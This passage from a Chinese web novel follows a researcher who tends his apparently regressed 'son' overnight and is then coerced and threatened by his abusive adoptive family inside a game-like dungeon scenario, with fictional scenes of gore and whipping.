裴玉衡和小叙白无声地大眼瞪小眼,脑子急速运转,五秒后,彻底宣告宕机。 实验是做不下去了,警局也去不了,裴玉衡压住带小叙白去做亲子鉴定的冲动,他知道一旦自己前脚迈进医院,后脚傅家就会把他叫过去问话。 他也不可能依照谢叙白先前的叮嘱,将这么点大的小崽留在空旷寂冷的实验室,最终脑子一热,决定把小叙白带回宿舍。 小叙白再次被抱起来,从善如流地圈住他的脖颈。 他看着唇红齿白,气色极好,但轻得不可思议,像只发育不良的猫崽儿,眼神透着点灰暗的病气。 到外面被风一吹,开始小声咳嗽。 裴玉衡看在眼里,情不自禁地皱紧眉头,将衣服给他掖紧,加快回宿舍的脚步。 一路上,他脑子里掀起翻天覆地的风暴,循环播放—— 我居然有儿子了,活的,软的,好小一只。 这真的是我的儿子?怎么一点都不真实。 我怎么能有这么大的儿子,不,等等,裴余的身体似乎遇到意外缩水了,变小是他的身体防御机制?那他如今几岁? 裴余妈妈,他的妻子,会是个什么样的人?他们多久结的婚,听起来好像在分居,分居……就算分居也不能放着他们孤儿寡母艰难过活,未来的我到底是个什么品种的人渣? …… 回到宿舍,裴玉衡也没能冷静下来。 反倒是小叙白擦干眼泪后,变得像个沉稳的小大人。 裴玉衡开门腾不出手,他主动要求把他放下来,尽管对温暖怀抱的不舍和依赖全写在了脸上。 被小叙白眼巴巴地瞅着,还有那隐忍的闷咳声,裴玉衡开门的速度不由自主变快。 门打开,灯光照亮整个宿舍。 布置很简洁,但很乱,专业书散落在屋子各个地方,包括床和椅子上。微波炉前放着没开封的方便食品,桌子上有着堆成山的研究资料,凌乱得像盗窃案发现场。 裴玉衡原先是有点轻度洁癖,但急于出成果的每一天,他都在焦虑。 科研项目出结果,是他当前唯一脱身的途径,所以文献资料必须在他触手能及或肉眼可见的地方,一篇一本不够,需要很多、再多、更多。 也是开门后,裴玉衡才注意到这件事,反射性去看小叙白的反应。 小叙白眨巴眼,不负众望,无心说了一句:“好乱啊。” 裴玉衡:“……” 成功遭到未来儿子的嫌弃和会心一击。 谢语春就会把家里打扫得很干净,屋子虽小但井井有条。 小叙白有样学样,拽着宽松的大裤子,防止掉下去,积极主动地自荐道:“爸爸,我帮你一起收拾!” 下一秒,小叙白踩中拖在地的裤脚,踉跄几步,被装着培养皿的防尘箱绊倒,啪叽一下摔到地上:“哇啊!” 裴玉衡:“!” 裴玉衡慌张地跑过去,将小叙白扶起来:“有没有事?”并做好小孩再次嚎啕大哭的准备。 结果小叙白只是呲牙咧嘴地揉揉被砸红的脸,黑亮的眼睛弯一弯:“没事哦。” 他瞄着裴玉衡停滞在半空中的手,主动将通红的小脸蛋递过去,期待地催促:“但还有点痛,爸爸给我揉一揉吧,揉一揉就不痛啦。” 裴玉衡被这小崽的成熟体贴程度惊呆了。 但那一瞬间,他不知道为什么,忽然想起自己小时候也对外对己说过无数次的“没事”。 习惯过苦日子的孩子,会变得早熟稳重,在他人注意不到的角落,默默地自我疗愈。 所以裴玉衡欣慰不起来,也没法为之高兴。 他看着眼睛弯成月牙形的小崽子,曾经发生在自己身上的惨案,竟然又在后代的身上重复上演。 愧疚感倏然放大,愈演愈烈,他缓缓伸出手,将小叙白紧紧地搂在怀里。 “对不起。”裴玉衡声音喑哑地说道。 似乎是因为他抛弃他们孤儿寡母,才让小孩过得这么难过,妈妈走后,拼命去追妈妈的灵车,不想被社区福利院的人强行带走,东窜西逃,忍饥挨饿,等了他很久,都没能等到他接自己回家。 他真的、真的很差劲。 那一刻,小叙白也僵住了。 而后他抱住裴玉衡,小松鼠一样在人的肩膀上蹭蹭,哼哼唧唧:“爸爸不是来接我了吗?所以,原谅你啦。” “……”裴玉衡沉默,他不知道自己后来到底有没有接走小叙白。 看谢叙白长大后的样子,漠然冷淡,好像和他也不是很亲密。逼他大扫除……难不成是在宣泄自己被丢下的怨气? 看着小叙白仿佛闪着光的大眼睛,裴玉衡既心虚又内疚,给小孩揉揉摔痛的小脸蛋。 比面团嫩很多。 小叙白仰着脸给揉,被揉舒服了,还会弯着眼睛发出一声乐呵的笑,嘚瑟的语气和炫耀宝藏似的:“是不是很好揉,妈妈和李奶奶他们都说我的脸好软的,摸一摸就会超开心。” 裴玉衡被他开心果似的一笑,抿紧的嘴角都压不住翘了一下,忍俊不禁。 然后他去收拾屋子。 这一次没有谢叙白的要求和监督,裴玉衡却按照更严格的标准打扫起来。箱子整齐地堆在角落,书和资料放回书架,各个缝隙打扫干净。 不求一丝不苟,也不能让小崽再嫌弃(其实没有)地说一声“好乱”。 他始终记得谢叙白告诉他的那句话——“清扫”怪物尸体的时候若是疏忽大意,丧命的会是自己,更会牵连无辜。 身为父亲如果不能给孩子做个好榜样,那就太逊色了。 叮。 系统提示声响起。 【“洁癖”塑造进度:100%,恭喜达成目标!】 【额外达成设定:严谨。人物“裴玉衡”的生存能力大大提高了!恭喜!】 小叙白忍不住揉了揉耳朵,好像听到了什么奇怪的声音。 因为不知道前因后果,两句话他听得似懂非懂,但他知道爸爸叫裴玉衡,生存能力提高是一件好事。 见裴玉衡做完清洁,又洗了一遍手,朝自己走过来,他鼓掌欢呼道:“爸爸变强了!” 似乎是崽崽独特的夸奖方式,裴玉衡几不可闻地弯了弯唇角。 没有小叙白能穿的衣服,只能先将就一下,等明天再想办法,问问有孩子的教职工有没有可以借用的旧衣服,或者让童装店送货上门。 裴玉衡有备用的洗漱用品,全新的,没用过,正好给小叙白用。 他给小叙白搬来凳子,让小叙白能站在洗漱台前,一大一小对着镜子开始刷牙。 往日裴玉衡习惯独自一人,沉默无声。 今天多了一个小叙白,在旁边漱口“唔唔哗哗”地漱出节奏感,又哇的一声把水吐出来:“爸爸,擦脸。” 裴玉衡给他擦,擦着擦着,又忍不住揉揉那嫩滑的小脸蛋,逗得小叙白哈哈笑:“好痒呀,爸爸。” 一声声爸爸,将裴玉衡叫得恍惚了,明明还没有身为人父的实感,却在不知不觉也跟着应了小孩的呼唤:“嗯,我在。” 这间屋子,他的身边,忽然不再空荡荡。 磕磕巴巴洗漱完毕,两人上床睡觉。 其实离裴玉衡睡觉的点还早,但小家伙困了,频频打哈欠,先一步爬上床,对着旁边兴奋地拍一拍:“爸爸,一起睡!一起睡嘛好不好?爸爸——” 被这孩子黏得没办法,裴玉衡只好放下手中的纸质文献。 他让小叙白睡在靠墙一边,防止睡着睡着掉下去,自己则挨着床边,尽量留出空余,让小孩能活动手脚。 小叙白见状,得寸进尺地扒住裴玉衡的手臂,眼睛闪亮亮:“要抱。” 不是很习惯和任何活物亲密接触的裴玉衡:“……” 看出他的迟疑,小叙白瞬间嘴一瘪。 裴玉衡见过孩子真哭,无声的、没有任何作秀,一眼就能看出他在装可怜。 但见那双眼睛溢出水雾,还是将手伸了过去,搭在小叙白的背上,反手拍拍:“就这样,快睡。” 小叙白嘿嘿一声,满足了。 他如愿闭上眼睛,裴玉衡却忍不住叹气。 这间单人宿舍是师兄师姐帮他申请的,但裴玉衡很少回来睡觉,因为压力大,患有神经功能紊乱和睡眠障碍,一丁点噪声就可能被惊醒,然后整晚睡不着觉。 以往他可以用实验麻痹自己,累到一定程度自然就能睡着,虽然师兄师姐们称之为昏倒,绝不认同是睡觉。 现在他还没累到极致,身边又突然多了个不怎么熟悉的崽,脑子里半是小叙白的身世和境况,半是没能推进的实验进度,料想今晚应该难眠。 没多久,却见小叙白闭着眼睛说:“爸爸,你是不是睡不着?我给你唱首歌吧。” “我也经常睡不着,妈妈就会给我唱歌。” 裴玉衡沉默着,还不知道该怎么回答,小叙白先唱起歌来。 孩子的声音纯真清亮,没有那么多的技巧,却好似百灵鸟,动人心弦,涤荡心灵。 并且他一开嗓,星星点点的金色浮光随之出现,悠哉悠哉地飘在两人的身边,像散发着暖黄光晕的萤火虫,在寂静黑暗的宿舍里,如梦似幻。 裴玉衡忍不住怔愣了一下。 他忽然听到一小声压抑的泣音,扭头一看,借着金色萤火,看见小叙白不断划过眼角的泪痕。 小叙白想谢语春了。 虽然他极力地不去怀念,不想哭,还是忍不住。 他不傻,能看出裴玉衡好像看陌生孩子一样的眼神,能发现眼前美丽壮观的学校环境,不属于原来老破小的住处。 裴玉衡发现了小叙白深藏在笑脸下面的难过和惊惶,他不知道怎么安慰。 又或许是他明白,对一个突然失去母亲的孩子来说,任何安慰都是苍白无力的。 顿了顿,他伸出手,擦掉小叙白脸颊上的泪水:“不哭,不哭。” 他想着做一件事,让小叙白分散注意力才好,便笨拙地问:“你唱得很好听,愿意教我怎么唱吗?以后我……爸爸唱给你听。” 小叙白唰一下睁开眼睛。 他眼睫沾着泪,定定地看着裴玉衡,半晌将人的大手拽紧,带着哭腔重重地嗯一声。 半个晚上,一大一小磕磕巴巴的歌声萦绕在暖黄的荧光下。 原以为会很难睡着,结果裴玉衡搂着小孩,半生不熟地哼着歌,感受着孩子从短促到安稳的呼吸声,最终阖上眼,迷迷糊糊地睡了过去。 一夜好眠。 第二天大早。 叮铃铃。 裴玉衡的电话突然响了起来,他唰一下睁眼,从床头柜摸来手机,看一眼来电显示,瞬间清醒,眉头拧紧成一团。 他想看一眼身边的小叙白,没成想,和恢复大人模样的谢叙白对上了眼。 谢叙白:“……” 裴玉衡:“……” 后者手一抖,点到接听键。 电话那头传来女人高高在上的嗓音,冷冰冰的,有些尖锐,不容置疑地命令道:“回傅家一趟,我要在二十分钟内看到你的人。” 受金丝眼镜的影响,卡壳一晚上的系统迸溅出嘈杂的滋啦电流声,又随着女人的冷言冷语,逐渐清晰。 【其名裴玉衡,设定二:重度强迫症。】 【我们探究过重度强迫症形成的原因:遗传因素、不良的成长环境、受到严重的心理创伤。你猜他会是哪一种?】《 》 85-90 第86章 去看看傅家还有什么魑魅魍…… 裴玉衡下床到窗边接电话的时间,谢叙白终于回神,目光飞快逡巡四周。 终于,他在床脚找到折叠整齐的长裤,将其一把拽了过来,在被子里快速穿好。 以防小叙白再被拖拽在地的裤子绊倒,裴玉衡干脆让他把裤子脱下来。 宽敞的白大褂足以遮盖崽崽的全身,就当穿的是一件睡袍。 但谢叙白不知道这事。他只知道自己一觉醒来,居然和裴玉衡躺在一张床上,对方还把他的裤子脱了下来。 ——裴叔叔为什么会把他带回宿舍,因为好心?但是为什么要脱裤子,怕他睡得不舒服? 不不不,这个理由太牵强,所以昨天晚上到底发生了什么? 如果再给谢叙白一次机会,他绝对不会相信金丝眼镜说“一切如常”。 裴玉衡打完电话后看了过来:“我有事回傅家一趟,你……” 按照裴玉衡的性格,谢叙白以为他会说“你自便”。 事实上裴玉衡也确实做出了这个口型,但不知道为什么顿了一下,平和地道:“现在时间还早,你可以在这里再睡一会儿。” 昨晚上谢叙白直接在冷硬的椅子上睡着,裴玉衡料想他为了寻找谢语春,应该累了一天。 如果不是傅家让他马上回去,他今天能帮谢叙白一起找人。 不知道自己这一去多久才能回来,裴玉衡迎着谢叙白疑惑的目光,将自己的饭卡和钥匙交到他的手里,耐心叮嘱道:“饿了记得去吃饭,三食堂的比较新鲜,这个是备用钥匙。” 未来的钱没法在过去用,会被抓。 裴玉衡又拿出银行卡:“这里面有我的奖学金和项目报酬,我很久没查,大概有六十万,密码是……” 谢叙白眉毛狂跳,连声打断道:“先等等,昨天晚上我是不是做过什么?” 因为他的逼迫和来历不明,裴玉衡对他一直抱着警惕和疏离,突然这么热络绝对有问题,更别说把全部身家交给自己,起码得是过命的交情。 有什么不受他控制的变故发生了,他必须要弄清楚。 最坏的情况是玩家用道具夺舍他的身体,做了什么事,改变了裴玉衡的态度。 裴玉衡一听就知道谢叙白没有昨晚上的记忆,当场愣住,不知道该怎么解释。 小叙白对裴玉衡有着无条件的信任和亲昵,爸爸两字叫得软绵绵,甜乎乎,恨不得时时刻刻黏着他。 不管裴玉衡做什么,那双纯洁无瑕的黝黑大眼睛总会追随着他,仿佛裴玉衡就是自己的全世界。 但谢叙白直勾勾的目光里,再也找不到半点依赖的影子,只有淡漠和急于求解的探究,和他的距离也拉得很远。 极大落差带来的酸涩感,瞬间充满裴玉衡的胸腔。 傅家只给他二十分钟的时间,他哑着声音长话短说:“昨天你睡着后变成了小孩的模样,应该是返老还童。没有成人的记忆和思维能力,所有言行举止都符合小孩的特征,不是伪装。” 谢叙白什么都不肯要,裴玉衡面无表情地把东西强行塞进他的手里。 不管谢叙白愿不愿意认他,他都是这孩子的父亲,理当他来弥补偿还谢叙白过往受到的苦楚和缺失的父爱。 谢叙白还想继续问,但见裴玉衡风风火火地冲进卫生间,还是打住了话茬。 等裴玉衡简单洗漱完出来,便看见一个陌生的人猝然出现在谢叙白的身边。 这人是魔术师的队友,为了不在秘密行动的时候被NPC记住脸,从而增加角色OOC的风险,使用了伪装道具。 谢叙白将他临时招呼过来,解释说:“让他送你回傅家,只要十分钟。” 裴玉衡没有拒绝谢叙白的好意。从这里到傅家打车都需要四十分钟,电话里的女人只给二十分钟,就是明目张胆的刁难,或者说提前敲打。 “你会不会跟过来?”裴玉衡问。 谢叙白不留痕迹地扫过他紧绷的嘴角,为宽慰他,否认道:“不会,今天我还要继续找人。” 裴玉衡听到这话后,明显松了一口气,转头对旁边的玩家道:“麻烦你了。” 玩家连忙道:“没事没事,一点儿都不麻烦。” 裴玉衡不知道玩家正盯着他的数值直咂舌。 仅仅一个晚上,裴玉衡的各项数值直接翻倍,这就算不是诡王,也是得供起来打好交道的祖宗! 等他们离开之后,魔术师从角落里现身。他大大咧咧正要坐在床上,被谢叙白头也不抬地叫住:“站着。” 昨天晚上魔术师成功迎来自己的第二场生死危机。 挨千刀的他扮演的角色全家居然都不是人!晚饭是生肉宴,手指胳膊大腿还有人脑袋。不知道是哪个倒霉蛋,眼珠子被挖出来拌凉菜,留下两个不断淌着血泪的黑窟窿,死死地凝视着他。 他被盯得头皮发麻,结果旁边他姐囔着不新鲜,把佣人拽过去直接开啃,霎那间整个大厅都是那人凄厉的惨叫声。他母亲说着说着话,脸忽然裂成血肉模糊的八瓣,血红滑腻的长舌头飞射出去,瞬间贯穿三颗人脑袋,卷起来,囫囵吞枣地吃了个痛快。 因为他彻夜未回还不知道被哪个杂碎告密要对裴玉衡出手,徐家家主,也就是这个身份的爹,勒令保镖直接对他动用家法。 那可是带着倒刺、盆口粗细、钢铁打造的狼牙棒啊!一棒子下去他的脑花儿能洒满屋。 关键他这角色还是个欺软怕硬的主,对他爹打自心底感到畏惧——设定勒令他不敢躲也不能躲。 虽然魔术师最后都平安无事地度过了,但他还是自认为受伤不轻,心伤。 结果来到谢叙白这里,对方只担心他身上的血和泥会蹭脏裴玉衡的床,半点嘘寒问暖都没有,还明目张胆地薅走他一个队友。 对上魔术师含着哀怨控诉的小眼神,谢叙白抽了抽嘴角,问道:“昨天晚上你的傀儡有没有看见我的身体出现了什么状况?” 魔术师抱着胳膊哼一声:“你猜?” 谢叙白了然道:“你看不见。” 魔术师撇了撇嘴,觉得这人好没意思,每次都能精准看穿他的心思。 他也忍不住在心里感慨,要不是谢叙白表现得淡泊寡欲,和他是合作关系而非敌人,还真叫人不寒而栗。 魔术师懒懒散散地道:“我都想问你到底做了什么,为什么我们看你和裴玉衡只能看见一团黑色的马赛克。” 而且还是大范围马赛克,长宽高各三米,把人罩得密不透风,他想从色块移动的间距判断发生了什么都不行。 让魔术师更感惊奇的是,谢叙白居然只用了一天多的时间,就完成了系统的第一个设定任务。 毕竟是S级副本的任务,奖励非常丰厚,魔术师连带着他的队友都有份,一瞬间对谢叙白的信任度大大提升。 听他这么一说,谢叙白对金丝眼镜的威力大概有了数:“接下来我准备去傅家,这次副本显然会以裴玉衡为中心,建议你安排个傀儡和我一起去。” 完善裴玉衡的设定二,不是魔术师的角色任务,但他猜测将有其他玩家接到这个任务,可以去一探虚实,便没有拒绝。 魔术师不免有些奇怪:“既然裴玉衡已经发现傅倧变成了怪物,傅家大可能是个龙潭虎穴,他不跑不躲也就算了,还乖乖回去干什么?” 如果魔术师昨天晚上有得选,打死他都不会回去。本来他真实胆量就小,副本机制为了恶心人,还弄得血呼刺啦的。 谢叙白举起手里的银行卡:“因为这个。” “裴玉衡的奖学金和项目酬劳加起来不是一笔小数目,他的经济能力完全可以支持他脱离傅家独自生活,可每次傅家命令他做什么事,他都会忍耐照做。这只说明一点,傅家手里捏着让他割舍不下的东西。” “割舍不下的东西?不能是把柄吗。” “不会。”谢叙白笃定道,“如果裴玉衡曾经犯过什么错,他自己都会上报检举,轮不到傅家拿他的错处胁迫他。” 魔术师摸着下巴狐疑古怪地看着他:“你真的和裴玉衡没点关系,就这么信任他的为人?他对你也好得不像话,居然会把自己的银行卡交给你,这是准备包养……嗷!” 谢叙白一脚踩在他的脚背上,看着抖着腿儿嚎啕痛叫的魔术师,面无表情地推了下眼镜:“这说明我和他一见如故,亲如父子。如果你愿意叫我一声爸爸,我也可保你这次副本顺利通关。” 魔术师被成功带歪:“裴余你过分了!要叫也是你叫我——别别别别冷静别踩了,嘶!下脚真狠。” 谢叙白收回脚。 裴玉衡说他昨天晚上变成了幼年的模样,那就解释得通了,毕竟他小时候真的很期待裴玉衡能当他的爸爸,见面叫人也不会扭捏。 加上他用了“裴余”这个化名,估计让裴玉衡误以为自己是他的儿子。 或许是自力更生太长时间,现在以理智自持的谢叙白,无法理解小时候那种好像期待了几辈子的渴望。 不是说他不希望得到裴玉衡的亲近。 那可是他幼时除妈妈以外最信任喜欢的裴叔叔。看到作为裴玉衡全部家当的银行卡被塞进手里,又被人叮嘱要好好吃饭,心里也不免触动。 但他清楚地知道,自己的希望必须排在裴玉衡的安危之后。 如果“儿子”的身份能更好地帮裴玉衡完善设定,躲开原定的悲惨命运,谢叙白不介意继续装下去,哪怕过后会被裴玉衡厌恶或责骂。 “走吧。”谢叙白翻看着裴玉衡给的钥匙和银行卡,将它们妥善收回口袋,淡声道,“去看看傅家还有什么魑魅魍魉。” 魔术师听他的语气,冷厉得像是要去扫荡全场,在心里暗自打了个激灵,跟了上去。 第87章 痛苦 十分钟后,裴玉衡来到傅家。 气派的欧式别墅大门口伫立着两排五大三粗的保镖。他们明显认识裴玉衡,第一时间看了过来。 带他过来的玩家喊了好几声,却没有一个保镖过来给他们开门。 裴玉衡顺着花园铁栅栏门的缝隙往上看,不出意料看见依靠在别墅二楼窗口边上的一位身姿妙曼的女人。 她手中端着红茶,慢条斯理地品尝着,视线轻蔑地从裴玉衡的面上扫过,很快收回,像是没有看见他一样。 这个女人,就是电话里勒令裴玉衡二十分钟回来的傅家主母。 见傅夫人对自己视若无睹,裴玉衡顿时明白,这又是新一轮的下马威。 他对旁边的玩家A道:“麻烦你送我过来。你先走吧,如果方便的话希望你能帮我给裴余报个平安,我今天要参加家宴,可能会很晚才回去,让他不用担心。” 玩家A看着傅家上下这以势压人的阵仗,怎么看都不觉得裴玉衡是能平安的样子。 就在这时,一个温和平静的声音传到他的脑海。 【能听到吗?】 玩家A一惊。但他之前被谢叙白用精神力招呼过,很快冷静下来,在心里回复:【能能能,大佬您有啥事要吩咐?】 谢叙白:【傅家是不是拦着裴玉衡,不让他进门?】 玩家A左顾右盼没有看见谢叙白的人,心想对方难道早已猜出裴玉衡将要面临的处境?这可真神了。 他继续回答:【对,楼上有个装模作样的女人在喝茶,就是不放人。还有几分钟超时限,裴玉衡估计会被借题发挥,我们该怎么办?】 谢叙白:【那你就直接带裴玉衡去见她。】 傅夫人抿着茶水,确实没想到裴玉衡居然能在规定时限内回来。 但那又怎么样?只要她不让门卫放人,裴玉衡就得听话地在门口站着。 想到今早听下面的人汇报说裴玉衡最近的心野了,不仅借故推辞好几天,没有去傅氏集团的生物实验室报道,昨天还当众给傅倧甩脸子,傅夫人就一阵冷笑。 她看了下头顶的太阳,可惜现在还早,阳光不烈,准备多晾裴玉衡五个小时,等中午再说。 傅夫人转身,懒洋洋地让佣人安排晨浴。 结果佣人一推开门,她抬头,径直看见裴玉衡杵在房门背后的脸。 佣人受惊大喊:“裴少爷?” 傅夫人盯着裴玉衡,一张气定神闲的脸直接裂开。 她怀疑自己眼花,扭头来到窗边,见铁栅栏门口空无一人,不敢置信地冲着裴玉衡喝问:“你是怎么进来的?” 门卫呢?保镖呢?这么大个人看不见吗?!而且她才挪开目光不到一分钟,裴玉衡就从门口闪现到屋内,开什么玩笑! 裴玉衡也没料到谢叙白的朋友这样神通广大,带着他两秒翻墙,十秒隐身潜入,谁都没有发现。 看着傅夫人略显扭曲的脸,他忽然想起谢叙白那晚也是猝不及防拍门而入,包厢们纨绔子弟们的脸色和她一样青白交错,有点想笑。 裴玉衡没有表现出来,只是问:“你找我有什么事?” 傅夫人定了定神,眼神阴郁地凝视着裴玉衡:“你是觉得自己拿到进科技园的入选名额,翅膀变硬可以摆脱傅家了吗?敢这么跟我说话。” “不是,伯母想多了。”裴玉衡冷淡的神色丝毫不变,“我那边还有事要忙,如果伯母没什么要紧事吩咐的话,我就先离开了。” 他说完,没有丝毫留念,转身就走。 就如傅夫人所说,傅家在生物医药领域的地位首屈一指,垄断这个行业近百分之八十的资源物力及人脉。 裴玉衡是傅家的资助生,学习方向早在他被收养的时候被定死,且好死不死,他的天赋只点在生物医药专业。 临时更改学习其他专业,他拿不出成就,不会有人冒着得罪傅家的风险帮助他。 选擅长的医药专业,则长期有傅氏集团这个龙头压在头顶,难以翻身。 何况在外人看来,有傅家扶养资助,才有裴玉衡今天的成就。擅自脱离是忘恩负义,会被看中声誉名望的组织所厌弃。 幸好看中裴玉衡的那位大佬不介意这一点,只等他完成课题入选顶刊,就能拿到入园资格。傅家就算手再长,也伸不进政方名下的省科技园。 但这只是傅家能拿捏裴玉衡的其中一点。 看着裴玉衡头也不回的背影,傅夫人万万没想到他居然是这么一个无所谓的反应:“等等!你不要你爸妈的遗物了?” 裴玉衡脚步一顿。 他爸妈同为生物医药领域的专家,也是傅氏生物药研科技的员工。 在裴玉衡为数不多的记忆里,他爸妈将傅家奉为天听,感激涕零,明明接手开发过那么多项目,给傅家带来数不尽的利益财富,到最后却都标注着傅家嫡系的名字,而他们依然是不为人道的无名小卒。 直至长大后,裴玉衡的成果屡次被傅倧抢走,才明白爸妈暗地里的辛酸苦楚。 爸妈到死没能成名的遗憾,是裴玉衡的心病。然而凭傅家的力量,他短时间内没法替爸妈正名,拿回属于他们的成就。 唯独他爸妈临死前进行的那一项研究,因为只完成了一半,还没有遭到傅家的荼毒。 按照这项研究最后的发展趋向,如果能拿出成果,将在业内大放异彩,获得极高的声誉和成就。 所有资料都在傅家手里,裴玉衡想拿回来,完成它,让世人听到爸妈的名字,告慰父母在天之灵,便不得不听令于傅家。 但是—— 裴玉衡冷冷地反驳道:“我想要,难道你们就会给我吗?” 他的天赋高得不可思议,十五岁进傅氏实验室当助手,十七岁就能独立完成项目课题。 傅氏狼心狗肺,用打压他爸妈的方法打压他,直到他考上硕士,有了能为他说话的导师,才能终于能对外出成果。 也就是说,他为傅氏至少打了五年的白工,五年时间,他连爸妈遗物的影子都没看见。 那是裴玉衡的执念,他必不可能放弃,唯一的变量是谢叙白出现了。 那一晚,看着小叙白圆滚滚的泪水滴在枕头上,浸湿一片,裴玉衡在莫大的心疼和负疚中忽然醒悟过来,逝者固然重要,但他不能为了过去的人,再埋葬后代的未来。 裴玉衡此次前来,是想看看傅夫人的态度,见人依然高高在上,知道再隐忍下去,同样的威胁只会一而再再而三,果断选择放下。 只要他进了科技园,有了力量和在这个行业内的话语权,将来总能找到机会再与傅家对峙,拿回爸妈的东西。 见裴玉衡态度果决,傅夫人岂能不知道往日屡试不爽的威胁失了效。 眼睁睁看着裴玉衡离开,她有种事情超出掌握的不详预感,厉声喊道:“你给我站住!” 裴玉衡脚步顿了顿,继续往楼下走。 傅夫人花容失色,正想叫人追上去拦住他,却听见一道大声呵斥。 “你的伯母叫你站住,你是没长耳朵吗?!” 听到熟悉的声音,裴玉衡脚步一僵,转过头,果然看见了养父养母的脸。 裴玉衡不是傅家主的养子,因为傅家觉得他不够格,却又眼红他的资质,想着用亲缘关系和养育恩情捆绑他卖命,便让成天只知道花天酒地的傅家二爷将他收养。 在家,裴玉衡名义上是养子,实际上任何一个佣人都能欺辱他。傅家二爷不为他做主,不给他改姓。他叫养父只能喊老爷,叫养母则喊夫人。 他的养母此时正用森冷阴毒的眼神凝视着他:“裴玉衡,我小时候教你的规矩,你是不是全忘了?” 裴玉衡看见管家拿来了特制长鞭,鞭子上有细小的倒刺,仅用三鞭,就能让人皮开肉绽。 傅家是医药专业的龙头,同时开办几家私人医疗机构。 换句话说,他们可以瞒着外界,给一个被打得奄奄一息的小孩吊命。 裴玉衡狠狠掐了一把反射性僵硬的大腿! 忍着铺天盖地的恐惧,他将目光从长鞭上挪开,没有多话,快步往外走。 来的时候他有所准备,如果二十四小时候后他失联没回消息,就让导师帮忙联系科技园的那位靠山,以他迄今为止所有未发表的研究成果为酬劳,请人出面救他一次。 玩家A一直藏在隐匿处观察情况,见状直接使用隐身道具窜过来,按住裴玉衡不断颤抖的手。 他用两人才能听到的声音悄悄说道:‘别怕,裴余说你要是想走,我就直接带你走,他们拦不住我们。’ 裴玉衡轻轻一震。 他很感动裴余的良苦用心,又觉得自己这个当爸爸的实在没用,害儿子担心不说,还要想方设法解救他。 ——我得变强。 裴玉衡在此刻忽然下定决定,从未有过的迫切和坚定。 眼见裴玉衡快要从眼前消失,又有一道男声从楼上不紧不慢地响起。 比起其他人,这道声音显得更威严雄厚,带着居高临下的凌厉,不容忤逆。 “如果我告诉你,你的父母还活着,你也要不管不顾走出这扇大门吗?” 裴玉衡心跳狠狠漏了一拍,满脸不可思议地看向从楼上踱步而下的中年男人,以及跟随在侧的傅倧。 “老公!”“大哥!” 傅夫人等人走过去,气急败坏地指责裴玉衡的大不敬:“这混账东西真的胆儿肥了,你看他刚才不可一世的样子!” 裴玉衡急切追问:“你说我爸妈还活着,是不是真的?” 傅家主看他一眼,视线转向管家。管家会意,拿出手机播放一段视频。 画面中是一个洁白的病房,有一对中年夫妇穿着束缚衣在床上不断挣扎,似乎忍受着极大的痛苦,面容狰狞,吼叫声撕心裂肺,隔着观察玻璃也能听得清清楚楚。 裴玉衡呼吸都停止了,画面里的中年夫妇就是他爸妈! 听着他们的疯叫声,裴玉衡脑子里仿佛有根名为理智的弦倏然崩断,也跟着疯了一样上去抢管家的手机。 “你对他们做了什么?!你们这些渣滓垃圾!!” 几名保镖上前,扣着裴玉衡的胳膊和大腿,逼迫他下跪。裴玉衡脸憋得通红,颤抖着双腿死也不跪,目眦欲裂地瞪着傅家主,想杀死他的心都有了。 在这危机时刻,玩家A也顾不上隐藏自己,干脆现身,把几名保镖踹飞,拉着裴玉衡想跑。 傅家主不咸不淡地说:“你要是敢跑,今天就是他们的死期。” “……”裴玉衡红着眼,扯开玩家A的手,哑声对人说,“你走吧,快跑。” 玩家A知道这名NPC算是彻底被套住了,见越来越多的保镖涌到门口,只能先咬牙撤退。 看着玩家A转瞬消失的身影,傅倧嗤笑道:“看来你找来的帮手也不怎么样。” 裴玉衡双眼赤红死死盯着他,凶神恶煞的保镖将他死死围住,他已无路可逃。 也是这时,傅家主再度用森冷锐利的眼神扫向他,不容置疑地命令道:“养不熟的白眼狼,给我跪下!” 第88章 以毒攻毒 “你们都在干什么?还不快点一起上把他摁住!……那么多人连两个人都打不过,请你们一群人不如请街头讨饭的卖唱!……跑了啊,闯入者当着你们的面跑了,还不快追!” 管家拿着手机,声嘶力竭地怒吼着。 但实际上他远没有表现出来的那般气急败坏。 目视玩家A顺利逃跑,管家状似不经意地扭过头,和傅二夫人交换眼神。 毫无疑问,他们是玩家。 就在裴玉衡还没过来的前几十分钟,两人统一接收到系统发出的一段影像。 ——名为裴玉衡的年轻人,超过傅夫人给出的时限快二十分钟才气喘吁吁地赶过来。他眼下一圈青黑,下巴冒出胡茬,衣服上都是褶皱,脸色很不好看,似乎彻夜未眠,又为了赶时间顾不上打理自己。 事先接到傅夫人命令的管家,直接将裴玉衡关在门口,并痛斥对方衣衫不整,全无面见傅家主母的仪态和尊重。 就连老天爷,也好像故意要磋磨这个天资卓越的年轻人,对他施加浓郁的恶意。 往日天气都很凉爽,唯独今天太阳高照,烈得让人汗水直流、头晕眼花。裴玉衡本来身体就发虚,就这样在没有任何遮挡物的门口暴晒好几个小时,进门的时候脸色苍白,一个趔趄,差点虚脱摔倒在地上。 他这样无力,自然摆脱不了虎背熊腰的保镖,被人拽起来,直接架到傅家主母的面前。 傅夫人优雅闲适地坐在椅子上吃早点,管家代替她,指着裴玉衡的鼻子当众诘问。 问裴玉衡多久没去傅氏集团的实验室,又有多久没有带来有效产出,为什么要接受徐杨那些纨绔子弟的邀请,是不是别有二心想要背叛家族。 明眼人一眼就能看出来徐杨那些人对裴玉衡不怀好意,更别提傅家早前就得到了消息,也安排人跟踪过裴玉衡,自然知道对方在酒吧中遭受的欺辱。 但他们不仅没有为被戕害的养子做主,反而脱下他的外套,露出还没彻底退散的红指印,辱骂他道德败坏,不知廉耻。 裴玉衡的崩溃,一在他被关在大门口,几次想走的时候,管家将他父母的遗物拿出来,叫他呼吸一滞只能在门外眼睁睁地看着,想要拿回的东西近在咫尺却无能为力。 二是光天化日之下,被当着傅家佣人的面,扒开衣服。含着讥笑轻蔑的眼神从四面八方投来,剖掉他最后一丝尊严,膝盖和脊背一点点地被压折,整张脸失去血色。 第三,则是用特制的长鞭规范言行。 若有一个地方答错,或是不合傅夫人的心意,长鞭就会撕咬上裴玉衡的身体。 嗖啪!“夫人让你跪下,为什么不跪?!” 嗖啪!“抬起头看着夫人回话!” 嗖啪!“你应该怎么称呼夫人的名讳?都忘记了吗!?” …… 一鞭又一鞭,皮开肉绽,鲜血洒满大厅。 裴玉衡咬着牙关,不肯如他们的愿低头认错,直至痛晕过去,被秘密带到城南一处地下实验室,用偏僻破旧早已废弃的卫生所外观做掩饰。 